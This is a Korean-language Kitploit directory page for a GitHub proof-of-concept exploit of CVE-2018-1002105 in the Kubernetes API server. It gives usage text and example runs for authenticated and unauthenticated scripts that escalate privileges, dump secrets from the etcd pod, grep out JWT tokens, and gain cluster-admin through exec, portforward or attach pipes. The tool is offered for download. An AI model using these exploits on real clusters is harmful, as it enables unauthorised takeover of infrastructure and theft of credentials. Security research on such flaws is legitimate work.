Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
poc_CVE-2018-1002105 — Poc 익스플로잇 - CVE-2018-1002105, Kubernetes API server 대상. 인증 및 비인증 권한 상승을 지원하여 시크릿을 덤프하거나 exec, portforward, attach 방식을 통해 클러스터 관리자 권한을 획득합니다. | Kitploit
도구/GitHubGitHub/evict/poc_cve-2018-1002105
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationWeb SecurityPenetration TestingCloud Security
GitHubevict/poc_cve-2018-1002105

poc_CVE-2018-1002105

Poc 익스플로잇 - CVE-2018-1002105, Kubernetes API server 대상. 인증 및 비인증 권한 상승을 지원하여 시크릿을 덤프하거나 exec, portforward, attach 방식을 통해 클러스터 관리자 권한을 획득합니다.

저장소 보기
2223737년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-1002105 PoC

  • 인증된 PoC
    • 데모
    • 사용법
  • 인증되지 않은 PoC
    • 데모
    • 사용법

인증된 PoC

CVE-2018-1002105에 대한 Proof-of-Concept 익스플로잇입니다. 현재 익스플로잇은 pods와 pods/exec에 대한 create 및 get 권한이 필요합니다. portforward 및 attach에 대한 지원이 추가되었으며, 이와 유사한 권한이 필요합니다.

현재 PoC는 기본 etcd-kubernetes 파드에서 시크릿을 덤프합니다.

데모

작동 중인 PoC:

asciicast

사용법

root@kitploit:~
usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod
              POD --method {exec,portforward,attach}
              [--privileged-namespace PNAMESPACE] [--privileged-pod PPOD]
              [--container CONTAINER] [--command COMMAND]
              [--filename FILENAME]

PoC for CVE-2018-1002105.

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  --target TARGET, -t TARGET
                        API server target:port
  --jwt TOKEN, -j TOKEN
                        JWT token for service account
  --namespace NAMESPACE, -n NAMESPACE
                        Namespace with method access
  --pod POD, -p POD     Pod with method access
  --method {exec,portforward,attach}, -m {exec,portforward,attach}

optional arguments:
  --privileged-namespace PNAMESPACE, -s PNAMESPACE
                        Target namespace
  --privileged-pod PPOD, -e PPOD
                        Target privileged pod
  --container CONTAINER, -c CONTAINER
                        Target container
  --command COMMAND, -x COMMAND
                        Command to execute
  --filename FILENAME, -f FILENAME
                        File to save output to

예시:

root@kitploit:~
$ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach
[*] Building pipe using attach...
[+] Pipe opened :D
[*] Attempting code exec on etcd-kubernetes/etcd
[*] Writing output to etcd.out ....
[+] Done!

토큰 확인:

root@kitploit:~
$ grep -air eyJ etcd.db

인증되지 않은 PoC

인증되지 않은 PoC는 노출된 API의 컨텍스트 내에서 권한 상승을 허용합니다. API의 기능에 따라 파드에서 코드 실행이 가능할 수 있습니다. 이 데모는 현재 서비스 카탈로그 servicecatalog.k8s.io API에서 클러스터 관리자 권한을 얻기 위해 이 버그를 이용합니다. 이 익스플로잇은 metrics.k8s.io 또는 집계 계층을 통해 노출된 모든 API에서도 작동합니다.

데모

작동 중인 PoC:

asciicast

사용법

root@kitploit:~
usage: unauth_poc.py [-h] --target TARGET [--api-base BASE]
                     [--api-target TARGET_API] [--api-version VERSION]
                     [--json] [--filename FILENAME]

Unauthenticated PoC for CVE-2018-1002105

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  --target TARGET, -t TARGET
                        API server target:port
  --api-base BASE, -b BASE
                        Target API name i.e. "servicecatalog.k8s.io"
  --api-target TARGET_API, -u TARGET_API
                        API to access i.e. "clusterservicebrokers"

optional arguments:
  --api-version VERSION, -a VERSION
                        API version to use i.e. "v1beta1"
  --json, -j            Print json output
  --filename FILENAME, -f FILENAME
                        File to save output to

예시:

root@kitploit:~
$ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out
[*] Building pipe ...
[+] Pipe opened :D
[*] Attempting to access url
[+] Pipe opened :D
[*] Writing output to api.out ....
[+] Done!

도구 다운로드